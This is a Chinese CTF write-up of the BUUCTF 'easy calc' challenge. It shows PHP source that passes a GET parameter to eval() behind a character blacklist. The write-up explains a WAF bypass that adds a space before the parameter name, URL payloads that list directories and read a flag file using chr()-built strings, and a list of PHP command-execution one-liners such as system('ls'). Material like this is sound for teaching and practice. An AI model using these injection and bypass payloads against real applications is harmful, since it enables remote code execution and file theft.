【BUUCTF】easy calc
【BUUCTF】easy calc (PHP代码审计)
题目来源
收录于:BUUCTF BUUCTF2019
题目描述
一个计算器,尝试SSTI,SQL注入都无果

对计算过程抓包,发现/clac.php,表达式通过num参数进行传递

访问/calc.php,得到源码

<?php
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>
当num传递的为字母时,被waf拦截(另一个waf,不是上面PHP文件设置的黑名单)

题解
当在num前加上空格,即变量为%20num时,就可以绕过WAF对num的审计。在转化为PHP的key=>value时,PHP解析了传入的key,做了两件事情:
- 删除空白符
- 转化特殊字符
就可以把想要的变量转化为num了。
exp如下:
calc.php?%20num=phpinfo()

接下来获取目录:print_r(scandir('/'))
这里尝试使用 system('ls') 获取目录时失败
由于对'进行过滤,可以使用chr()函数绕过,payload如下:
calc.php?%20num=print_r(scandir(chr(47)))
calc.php?%20num=print_r(scandir(hex2bin(dechex(47))))

接下来对文件进行读取,payload如下:
calc.php?%20num=file_get_contents(chr(47).chr(102).chr(49).chr(97).chr(103).chr(103))
即file_get_contents('/f1agg')
得到flag

总结
PHP解析参数时进行以下两步:
- 删除空白符
- 转化特殊字符
可以使用在参数名前加%20的方法进行waf绕过
查看目录的PHP语句如下:
system('ls');
echo system('ls');
eval(system('ls'));
eval("echo system('ls');");
print_r(scandir('.'));
echo print_r(scandir('.'));
eval(print_r(scandir('.')));
eval("print_r(scandir('.'));");
eval("echo print_r(scandir('.'));");
var_dump(scandir('.'));
echo var_dump(scandir('.'));
eval(var_dump(scandir('.')));
eval("var_dump(scandir('.'));");
eval("echo var_dump(scandir('.'));");
读取文件内容的PHP语句将上面的函数改为file_get_contents()即可。
当对引号进行过滤时,可以使用chr()或hex2bin(dechex())拼接的方式绕过过滤。
【BUUCTF】easy calc的更多相关文章
- 【BZOJ】2655: calc 动态规划+拉格朗日插值
[题意]一个序列$a_1,...,a_n$合法当且仅当它们都是[1,A]中的数字且互不相同,一个序列的价值定义为数字的乘积,求所有序列的价值和.n<=500,A<=10^9,n+1< ...
- buuctf—web—Easy Calc
启动靶机,查看网页源码,发现关键字 $("#content").val() 是什么意思: 获取id为content的HTML标签元素的值,是JQuery, ("# ...
- 【tyvj1952】easy
AK大神又AK了!!! orzorzorz 题意: 给出一个字符串由'x'.'o'.'?' '?'有一半的几率为'x' 一半几率为'o' 得分为所有连续的'o'的个数的平方和 如ooxooo 得分为2 ...
- BZOJ 4318: OSU! 期望概率dp && 【BZOJ3450】【Tyvj1952】Easy 概率DP
这两道题是一样的...... 我就说一下较难的那个 OSU!: 这道15行的水题我竟然做了两节课...... 若是f[i][0]=(1-p)*f[i-1][0]+(1-p)*f[i-1][1],f[i ...
- 【BZOJ3450】Easy [期望DP]
Easy Time Limit: 10 Sec Memory Limit: 128 MB[Submit][Status][Discuss] Description 某一天WJMZBMR在打osu~~ ...
- 【转】 Easy RadControl 之 RadGridView(Silverlight)
1.不显示第1列即列指示器(Row Indicators) 在 telerik:RadGridView中设置属性 RowIndicatorVisibility="Collapsed&qu ...
- 【BZOJ3450】【Tyvj1952】Easy 可能DP
联系: #include <stdio.h> int main() { puts("转载请注明出处[辗转山河弋流歌 by 空灰冰魂]谢谢"); puts("网 ...
- 【ZCTF】easy reverse 详解
0x01 前言 团队逆向牛的解题思路,分享出来~ 0x02 内容 0. 样本 bbcdd1f7-9983-4bf4-9fde-7f77a6b947b4.dll 1. 静态分析 使用IDAP ...
- 【BZOJ3450】Easy(期望)
题意: 某一天WJMZBMR在打osu~~~但是他太弱逼了,有些地方完全靠运气:(我们来简化一下这个游戏的规则有n次点击要做,成功了就是o,失败了就是x,分数是按comb计算的,连续a个comb就有a ...
- 【POJ3740】Easy Finding DLX(Dancing Links)精确覆盖问题
题意:多组数据,每组数据给你几行数,要求选出当中几行.使得每一列都有且仅有一个1.询问是可不可行,或者说能不能找出来. 题解:1.暴搜.2.DLX(Dancing links). 本文写的是DLX. ...
随机推荐
- 【Amadeus原创】SQL Server查询某数据库所有表名行数和空间占用率
` select object_name(id) tablename, 8reserved/1024 reserved, rtrim(8dpages)+'kb' used, 8(reserved-dp ...
- 【数据库】MySQL的一些基础知识
ALTER TABLE 表名 DROP 属性名 删除数据表 DROP TABLE 数据库名.表名; 用户管理 创建用户 CREATE USER 'username'@'host' IDENTIFIED ...
- Qt编写物联网管理平台38-多种数据库支持
一.前言 本系统设计之初就要求支持多种不同的数据库,比如sqlite.mysql.postgres.sqlserver等,甚至包括国产数据库比如人大金仓kingbase等,(由于现在国产化的大力推进, ...
- 使用 Visual Studio Code 进行调试
现在是时候实践你新获得的调试知识了. 我们刚好有一个完美的机会. 在我们的 Tailwind Traders 应用中,我们正在开发一项新功能:允许以多种货币显示产品的价格. 一位同事为这一目的编写了一 ...
- [转]使用navicat将excel文件导入mysql数据库
excel: 注: 1.mysql里建立一张跟excel一样的表结构的表(包含id) 2.excel最好没有任何格式,只是纯值,不然会出现导入不了的错误 ----------------------- ...
- Web网页端IM产品RainbowChat-Web的v5.0版已发布
一.关于RainbowChat-Web RainbowChat-Web是一套Web网页端IM系统,是RainbowChat的姊妹系统(RainbowChat是一套基于开源IM聊天框架 MobileIM ...
- Qml 中实现毛玻璃效果
[写在前面] 毛玻璃效果(Acrylic Effect)是一种常见的 UI 设计风格,它通过模糊背景并添加透明度和噪声效果,使界面元素看起来像是半透明的磨砂玻璃. 本文将介绍如何使用 Qml 实现这种 ...
- 基于AI底座的数智油气田参考架构
基于AI底座的数智油气田参考架构 Architecture for Intelligent & Digital Oilfileds Based-on AI 王权 2024.12.29 ...
- Solution -「POI 2013」LAB-Maze
\(\mathscr{Description}\) Link. 构造一个边平行与坐标轴, 顶点是整点, 相邻边互相垂直, 且逆时针遍历顶点时转向 (向左或向右) 符合给定字符串的不自交多边形. ...
- w3cschool-Spring Security
https://www.w3cschool.cn/springsecurity/na1k1ihx.html Spring Security,这是一种基于 Spring AOP 和 Servlet 过滤 ...